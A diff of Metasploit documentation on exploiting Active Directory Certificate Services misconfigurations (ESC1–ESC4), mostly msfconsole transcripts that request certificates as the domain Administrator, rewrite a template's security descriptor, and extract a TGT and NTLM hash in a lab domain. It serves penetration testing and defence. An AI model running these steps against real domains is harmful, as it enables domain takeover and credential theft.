Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
||||
attacks that they found they could conduct via misconfigured certificate templates:
|
||||
|
||||
- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client
|
||||
Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
- ESC1 - Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates +
|
||||
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#using-the-esc1-vulnerability-to-get-a-certificate-as-the-domain-administrator]]
|
||||
- ESC2 - Domain escalation via No Issuance Requirements + Enrollable Any Purpose
|
||||
EKU or no EKU
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]]
|
||||
- ESC3 - Domain escalation via No Issuance Requirements + Certificate Request
|
||||
Agent EKU + no enrollment agent restrictions
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc3-to-gain-domain-administrator-privileges]]
|
||||
- ESC4 - Domain escalation via misconfigured certificate template access control
|
||||
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc4-to-gain-domain-administrator-privileges]]
|
||||
- ESC5 - Domain escalation via vulnerable PKI AD Object Access Control
|
||||
- ESC6 - Domain escalation via the EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CAs + No
|
||||
Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templates
|
||||
@@ -68,8 +73,8 @@ post](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-servi
|
||||
- ESC11 - Relaying NTLM to ICPR - Relaying NTLM authentication to unprotected RPC
|
||||
interface is allowed due to lack of the `IF_ENFORCEENCRYPTICERTREQUEST` flag on `Config.CA.Interface.Flags`.
|
||||
|
||||
Currently Metasploit only supports attacking ESC1 to ESC3. As such,
|
||||
this paper only covers exploiting ESC1 to ESC3 at this time.
|
||||
Currently, Metasploit only supports attacking ESC1, ESC2, ESC3, and ESC4. As such,
|
||||
this page only covers exploiting ESC1 to ESC4 at this time.
|
||||
|
||||
Before continuing, it should be noted that ESC1 is slightly different than ESC2 and ESC3
|
||||
as the diagram notes above. This is because in ESC1, one has control over the
|
||||
@@ -91,7 +96,7 @@ certificates that are created using the vulnerable ESC2 certificate template
|
||||
will not work for domain authentication. This restriction does not apply for those
|
||||
certificates vulnerable to ESC2 which have the `Any Purpose` EKU applied to them.
|
||||
|
||||
Finally, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU
|
||||
Next, ESC3 is fairly similar to ESC2, however it differs in two ways: a different EKU
|
||||
is abused, and the attacker also needs to utilize two different misconfigured certificate
|
||||
templates in order to exploit the vulnerability. The EKU in question this time is the
|
||||
Certificate Request Agent EKU, aka OID 1.3.6.1.4.1.311.20.2.1, which allows one to enroll
|
||||
@@ -129,6 +134,8 @@ Domain Controller (DC), and will run a set of LDAP queries to gather a list of c
|
||||
templates they make available for enrollment. It will then also query the permissions on both the CA and the certificate template to figure out
|
||||
which users or groups can use that certificate template to elevate their privileges.
|
||||
|
||||
At this time, the module is capable of identifying techniques ESC1 through ESC3.
|
||||
|
||||
Keep in mind though that there are two sets of permissions in play here though. There is one set of permissions on the CA server that control
|
||||
who is able to enroll in any certificate template from that server, and second set of permissions that control who is allowed to enroll in
|
||||
a specific certificate template, which is applied to the certificate template itself. Therefore, the module will also specify which users are
|
||||
@@ -177,10 +184,10 @@ View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set DOMAIN DAFOREST
|
||||
DOMAIN => DAFOREST
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normal
|
||||
USERNAME => normal
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normaluser
|
||||
PASSWORD => normaluser
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set USERNAME normaluser
|
||||
USERNAME => normaluser
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set PASSWORD normalpass
|
||||
PASSWORD => normalpass
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
@@ -300,22 +307,40 @@ msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
|
||||
msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) >
|
||||
```
|
||||
|
||||
From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However, whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate tempalte. At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that useful for us.
|
||||
From the output above we can determine that the SubCA certificate template is vulnerable to several attacks. However,
|
||||
whilst the issuing CAs allow any authenticated user to enroll in this certificate, the certificate template permissions
|
||||
prevent anyone but Domain Administrators and Enterprise Admins from being able to enroll in this certificate template.
|
||||
At that point you probably don't need to elevate your privileges any higher, so this certificate template isn't that
|
||||
useful for us.
|
||||
|
||||
Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN-BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their privileges.
|
||||
Moving onto the next certificate template we see that ESC1-Template is vulnerable to the ESC1 attack, has permissions on
|
||||
the template itself that allow for enrollment by any authenticated domain user, and has one issuing CA, daforest-WIN-
|
||||
BR0CCBA815B-CA, available at WIN-BR0CCBA815B.daforest.com, which allows enrollment by any authenticated user. This means
|
||||
that any user who is authenticated to the domain can utilize this template with a ESC1 attack to elevate their
|
||||
privileges.
|
||||
|
||||
Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack. ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but vulnerable to ESC3_TEMPLATE_2 attacks.
|
||||
Looking at ESC2-Template we can see the same story however this time the template is vulnerable to an ESC2 attack.
|
||||
ESC3-Template1 is also the same but is vulnerable to ESC3_TEMPLATE_1 attacks, and ESC3-Template2 is the same but
|
||||
vulnerable to ESC3_TEMPLATE_2 attacks.
|
||||
|
||||
We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack.
|
||||
We also see that the User template is vulnerable to ESC3_TEMPLATE_2 attacks and the fact that it is enrollable from
|
||||
Domain Users and that daforest-WIN-BR0CCBA815B-CA allows enrollment in it by any authenticated user confirms the theory
|
||||
that this can be exploited by any authenticated attacker for an ESC3_TEMPLATE_2 attack.
|
||||
|
||||
Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and who's issuing CA allows any authenticated user to request it.
|
||||
Another interesting one to note is the Machine template, which allows any domain joined computer to enroll in it, and
|
||||
who's issuing CA allows any authenticated user to request it.
|
||||
|
||||
With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the `ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates.
|
||||
With this we now have a list of certificates that can be utilized for privilege escalation. The next step is to use the
|
||||
`ipcr_cert` module to request certificates for authentication using the vulnerable certificate templates.
|
||||
|
||||
## Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator
|
||||
Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can. Luckly we can also do this with the `icpr_cert` module. We just need to also set the `ALT_UPN` option to specify who we would like to authenticate as instead. Note that this only works with ESC1 vulnerable certificate templates which is why we can do this here.
|
||||
# Using the ESC1 Vulnerability To Get a Certificate as the Domain Administrator
|
||||
Getting a certificate as the current user is great, but what we really want to do is elevate privileges if we can.
|
||||
Luckily we can also do this with the `icpr_cert` module. We just need to also set the `ALT_SID` and `ALT_UPN` options to
|
||||
specify who we would like to authenticate as instead. Note that this only works with certificate templates that are
|
||||
vulnerable to ESC1 due to having the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag set.
|
||||
|
||||
If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can quickly set this up:
|
||||
If we know the domain name is `daforest.com` and the domain administrator of this domain is named `Administrator` we can
|
||||
quickly set this up:
|
||||
|
||||
```msf
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
@@ -327,10 +352,12 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
|
||||
SMBDomain => DAFOREST
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser
|
||||
SMBPass => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal
|
||||
SMBUser => normal
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
|
||||
ALT_UPN => Administrator@daforest.com
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
@@ -338,6 +365,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
|
||||
[*] 172.30.239.85:445 - Requesting a certificate...
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000
|
||||
[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216143830_default_unknown_windows.ad.cs_338144.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
@@ -368,10 +396,10 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC2-Template
|
||||
CERT_TEMPLATE => ESC2-Template
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
|
||||
SMBDomain => DAFOREST
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser
|
||||
SMBPass => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal
|
||||
SMBUser => normal
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
|
||||
|
||||
Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
@@ -388,8 +416,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
ploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -442,8 +470,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
ploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -481,8 +509,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
tasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -521,18 +549,27 @@ We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket grant
|
||||
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
|
||||
|
||||
# Exploiting ESC3 To Gain Domain Administrator Privileges
|
||||
To exploit ESC3 vulnerable templates we will use a similar process to ESC2 templates but with slightly different steps. First, lets return to the earlier output where we can find several templates that are vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other principals (such as users or computers).
|
||||
To exploit ESC3 vulnerable templates we will use a similar process to
|
||||
[[ESC2|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc2-to-gain-domain-administrator-privileges]] templates but
|
||||
with slightly different steps. First, let's return to the earlier output where we can find several templates that are
|
||||
vulnerable to ESC3 attacks. However we need to split them by attack vector. The reason is that the first half of this
|
||||
attack needs to use the ESC3_TEMPLATE_1 vulnerable certificate templates to enroll in a certificate template that has
|
||||
the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) that allows one to request certificates on behalf of other
|
||||
principals (such as users or computers).
|
||||
|
||||
The second part of this attack will then require that we co-sign requests for another certificate using the certificate that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being vulnerable to the ESC3_TEMPLATE_2 attack.
|
||||
The second part of this attack will then require that we co-sign requests for another certificate using the certificate
|
||||
that we just got, to then request a certificate that can authenticate to the domain on behalf of another user. To do
|
||||
this we will need to look for certificates in the `ldap_esc_vulnerable_cert_finder` module which are labeled as being
|
||||
vulnerable to the ESC3_TEMPLATE_2 attack.
|
||||
|
||||
The list of ESC3_TEMPLATE_1 vulnerable templates is pretty short and consists of a single template:
|
||||
- ESC3-TEMPLATE-1 - Vulnerable to ESC3_TEMPLATE_1 and allows enrollment via any authenticated domain user.
|
||||
|
||||
ESC3_TEMPLATE_2 are more plentiful though and we can find a few that are of interest:
|
||||
- SubCA - Again as mentioned earlier can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector.
|
||||
- SubCA - Again as mentioned earlier can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector.
|
||||
- ESC3-Template2 - Enrollable via any authenticated domain user.
|
||||
- User - Enrollable via any authenticated domain user.
|
||||
- Administrator - Can only be enrolled in by Doman Admins and Enterprise Admins, so not a viable vector.
|
||||
- Administrator - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector.
|
||||
- Machine - No real overlap between Domain Computers and Authenticated Users I don't think?
|
||||
- DomainController - Can only be enrolled in by Domain Admins and Enterprise Admins, so not a viable vector.
|
||||
|
||||
@@ -572,10 +609,10 @@ Auxiliary action:
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normal
|
||||
SMBUser => normal
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normaluser
|
||||
SMBPass => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
|
||||
SMBDomain => DAFOREST
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
@@ -606,7 +643,7 @@ host service type name content info
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
Next we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:
|
||||
Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
|
||||
@@ -632,8 +669,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
tasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -684,8 +721,8 @@ Module options (auxiliary/admin/dcerpc/icpr_cert):
|
||||
tasploit-framework/wiki/Using-Metasploit
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain DAFOREST no The Windows domain to use for authentication
|
||||
SMBPass normaluser no The password for the specified username
|
||||
SMBUser normal no The username to authenticate as
|
||||
SMBPass normalpass no The password for the specified username
|
||||
SMBUser normaluser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -713,46 +750,207 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
|
||||
domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
|
||||
|
||||
# Getting A Kerberos Ticket
|
||||
Once a certificate for a user has been claimed, that certificate can be used to issue a Kerberos ticket granting ticket
|
||||
(TGT) which in tern can be used to authenticate to services.
|
||||
# Exploiting ESC4 To Gain Domain Administrator Privileges
|
||||
To exploit ESC4, we will require an account with write privileges over a certificate template object in Active
|
||||
Directory. This involves finding an object with weak permissions defined within the `nTSecurityDescriptor` field. With
|
||||
this object identified, we can modify it to reconfigure the template to be vulnerable to another ESC technique.
|
||||
|
||||
Ticket granting tickets can be requested using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by specifying
|
||||
the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the `CERT_FILE`.
|
||||
Certificates from Metasploit do not require a password, but if the certificate was generated from a source that added
|
||||
one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` datastore option to the Domain Controller, then
|
||||
run the `GET_TGT` action.
|
||||
First, we will use the `icpr_cert` module in an attempt to exploit ESC1 (by setting `ALT_UPN`). This fails because
|
||||
the `ESC4-Test` certificate template does not allow the certificate's subject name to be supplied in the request (the
|
||||
`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field).
|
||||
|
||||
```msf
|
||||
msf6 > use kerberos/get_ticket
|
||||
msf6 > use auxiliary/admin/dcerpc/icpr_cert
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
|
||||
SMBUser => normaluser
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
|
||||
SMBPass => normalpass
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
|
||||
CA => daforest-WIN-BR0CCBA815B-CA
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
|
||||
ALT_UPN => Administrator@daforest.com
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
[-] 172.30.239.85:445 - There was an error while requesting the certificate.
|
||||
[-] 172.30.239.85:445 - Denied by Policy Module
|
||||
[-] 172.30.239.85:445 - Error details:
|
||||
[-] 172.30.239.85:445 - Source: (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer.
|
||||
[-] 172.30.239.85:445 - HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 auxiliary/admin/kerberos/get_ticket normal No Kerberos TGT/TGS Ticket Requester
|
||||
Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a
|
||||
backup of the certificate data that can be used later. Next, the local certificate template data is read and used to
|
||||
update the object in Active Directory. The local certificate template data can be modified to set a custom security
|
||||
descriptor.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
|
||||
RHOSTS => 172.30.239.85
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
|
||||
USERNAME => normaluser
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
|
||||
PASSWORD => normalpass
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
|
||||
CERT_TEMPLATE => ESC4-Test
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE
|
||||
ACTION => UPDATE
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true
|
||||
VERBOSE => true
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/kerberos/get_ticket
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.30.239.85:389 Getting root DSE
|
||||
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
|
||||
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
|
||||
[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
[*] Using auxiliary/admin/kerberos/get_ticket
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=192.168.159.10 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_192.168.159.10_windows.ad.cs_287833.pfx
|
||||
[*] Running module against 192.168.159.10
|
||||
Now that the certificate template has been updated to be vulnerable to ESC1, then we can use the `previous` shortcut
|
||||
to switch back to the last module and reattempt to issue the certificate. This time, the operation succeeds.
|
||||
|
||||
[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local
|
||||
[+] 192.168.159.10:88 - Received a valid TGT-Response
|
||||
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_192.168.159.10_mit.kerberos.cca_566767.bin
|
||||
```msf
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:445 - The requested certificate was issued.
|
||||
[*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
|
||||
[*] 172.30.239.85:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) >
|
||||
```
|
||||
|
||||
Finally, we switch back to the `ad_cs_cert_template` module to restore the original configuration. We do this by
|
||||
setting the local template data option `TEMPLATE_FILE` to the JSON file that was created by the previous run.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/icpr_cert) > previous
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
|
||||
TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[*] 172.30.239.85:389 Getting root DSE
|
||||
[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com
|
||||
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=daforest,DC=com
|
||||
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json
|
||||
[+] The operation completed successfully!
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
|
||||
```
|
||||
|
||||
At this point the certificate template's configuration has been restored and the operator has a certificate that can be
|
||||
used to authenticate to Active Directory as the Domain Admin.
|
||||
|
||||
# Authenticating With A Certificate
|
||||
Metasploit supports authenticating with certificates in a couple of different ways. These techniques can be used to take
|
||||
further actions once a certificate has been issued for a particular identity (such as a Domain Admin user).
|
||||
|
||||
## Authenticating To Kerberos
|
||||
Certificates can be used to authenticate to Kerberos using the [[kerberos/get_ticket|kerberos/get_ticket.md]] module by
|
||||
specifying the `CERT_FILE` option. Take the certificate file from the last stage of the attack and set it as the
|
||||
`CERT_FILE`. Certificates from Metasploit do not require a password, but if the certificate was generated from a source
|
||||
that added one, it can be specified in the `CERT_PASSWORD` option. Set the `RHOST` to the Domain Controller which is the
|
||||
Key Distribution Center (KDC) for the Active Directory environment.
|
||||
|
||||
### Getting An NT Hash
|
||||
Certificates can be used to obtain the NTLM hash of an account with the PKINIT extension. To request the hash, set the
|
||||
action to `GET_HASH`.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[+] 172.30.239.85:88 - Received a valid TGT-Response
|
||||
[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_324339.bin
|
||||
[*] 172.30.239.85:88 - Getting NTLM hash for Administrator@daforest.com
|
||||
[+] 172.30.239.85:88 - Received a valid TGS-Response
|
||||
[*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin
|
||||
[+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) >
|
||||
```
|
||||
|
||||
### Getting A Kerberos Ticket
|
||||
Certificates can be used to issue a Kerberos ticket granting ticket (TGT) which in turn can be used to authenticate to
|
||||
services such as HTTP, LDAP and SMB. Ticket granting tickets can be requested using the `GET_TGT` action.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx
|
||||
[*] Running module against 172.30.239.85
|
||||
|
||||
[*] 172.30.239.85:88 - Getting TGT for Administrator@daforest.com
|
||||
[+] 172.30.239.85:88 - Received a valid TGT-Response
|
||||
[*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin
|
||||
[*] Auxiliary module execution completed
|
||||
